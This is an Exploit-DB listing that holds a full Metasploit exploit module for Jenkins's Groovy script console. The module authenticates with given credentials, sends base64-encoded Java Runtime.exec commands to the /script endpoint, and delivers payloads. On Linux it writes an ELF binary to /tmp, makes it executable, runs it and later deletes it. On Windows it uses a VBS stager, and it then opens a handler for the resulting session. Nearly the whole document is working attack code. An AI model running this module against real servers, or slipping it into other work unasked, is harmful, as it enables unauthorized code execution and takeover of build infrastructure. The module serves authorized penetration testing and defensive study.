Jenkins - Script-Console Java Execution (Metasploit)

EDB-ID:

24272

CVE:

N/A




Platform:

Multiple

Date:

2013-01-21


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::CmdStagerVBS

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Jenkins Script-Console Java Execution',
			'Description'    => %q{
					This module uses the Jenkins Groovy script console to execute
				OS commands using Java.
			},
			'Author'	=>
				[
					'Spencer McIntyre',
					'jamcut'
				],
			'License'        => MSF_LICENSE,
			'DefaultOptions' =>
				{
					'WfsDelay' => '10',
				},
			'References'     =>
				[
					['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
				],
			'Targets'		=>
				[
					['Windows',  {'Arch'  => ARCH_X86, 'Platform' => 'win'}],
					['Linux',    { 'Arch' => ARCH_X86, 'Platform' => 'linux' }],
					['Unix CMD', {'Arch'  => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
				],
			'DisclosureDate' => 'Jan 18 2013',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('USERNAME',  [ false, 'The username to authenticate as', '' ]),
				OptString.new('PASSWORD',  [ false, 'The password for the specified username', '' ]),
				OptString.new('TARGETURI', [ true,  'The path to jenkins', '/jenkins/' ]),
			], self.class)
	end

	def check
		uri = target_uri
		uri.path = normalize_uri(uri.path)
		uri.path << "/" if uri.path[-1, 1] != "/"
		res = send_request_cgi({'uri' => "#{uri.path}login"})
		if res and res.headers.include?('X-Jenkins')
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end

	def on_new_session(client)
		if not @to_delete.nil?
			print_warning("Deleting #{@to_delete} payload file")
			execute_command("rm #{@to_delete}")
		end
	end

	def http_send_command(cmd, opts = {})
		request_parameters = {
			'method'    => 'POST',
			'uri'       => "#{@uri.path}script",
			'vars_post' =>
				{
					'script' => java_craft_runtime_exec(cmd),
					'Submit' => 'Run'
				}
		}
		request_parameters['cookie'] = @cookie if @cookie != nil
		res = send_request_cgi(request_parameters)
		if not (res and res.code == 200)
			fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
		end
	end

	def java_craft_runtime_exec(cmd)
		decoder = Rex::Text.rand_text_alpha(5, 8)
		decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
		cmd_array = Rex::Text.rand_text_alpha(5, 8)
		jcode =  "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
		jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"

		jcode << "String [] #{cmd_array} = new String[3];\n"
		if target['Platform'] == 'win'
			jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
			jcode << "#{cmd_array}[1] = \"/c\";\n"
		else
			jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
			jcode << "#{cmd_array}[1] = \"-c\";\n"
		end
		jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
		jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
		jcode
	end

	def execute_command(cmd, opts = {})
		vprint_status("Attempting to execute: #{cmd}")
		http_send_command("#{cmd}")
	end

	def linux_stager
		cmds = "echo LINE | tee FILE"
		exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
		base64 = Rex::Text.encode_base64(exe)
		base64.gsub!(/\=/, "\\u003d")
		file = rand_text_alphanumeric(4+rand(4))

		execute_command("touch /tmp/#{file}.b64")
		cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
		base64.each_line do |line|
			line.chomp!
			cmd = cmds
			cmd.gsub!(/LINE/, line)
			execute_command(cmds)
		end

		execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
		execute_command("chmod +x /tmp/#{file}")
		execute_command("rm /tmp/#{file}.b64")

		execute_command("/tmp/#{file}")
		@to_delete = "/tmp/#{file}"
	end


	def exploit
		@uri = target_uri
		@uri.path = normalize_uri(@uri.path)
		@uri.path << "/" if @uri.path[-1, 1] != "/"
		print_status('Checking access to the script console')
		res = send_request_cgi({'uri' => "#{@uri.path}script"})
		fail_with(Exploit::Failure::Unknown) if not res

		@cookie = nil
		if res.code != 200
			print_status('Logging in...')
			res = send_request_cgi({
				'method'    => 'POST',
				'uri'       => "#{@uri.path}j_acegi_security_check",
				'vars_post' =>
					{
						'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
						'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),
						'Submit'     => 'log in'
					}
			})

			if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
				fail_with(Exploit::Failure::NoAccess, 'login failed')
			end
			sessionid = 'JSESSIONID' << res.headers['set-cookie'].split('JSESSIONID')[1].split('; ')[0]
			@cookie = "#{sessionid}"
		else
			print_status('No authentication required, skipping login...')
		end

		case target['Platform']
		when 'win'
			print_status("#{rhost}:#{rport} - Sending VBS stager...")
			execute_cmdstager({:linemax => 2049})
		when 'unix'
			print_status("#{rhost}:#{rport} - Sending payload...")
			http_send_command("#{payload.encoded}")
		when 'linux'
			print_status("#{rhost}:#{rport} - Sending Linux stager...")
			linux_stager
		end

		handler
	end
end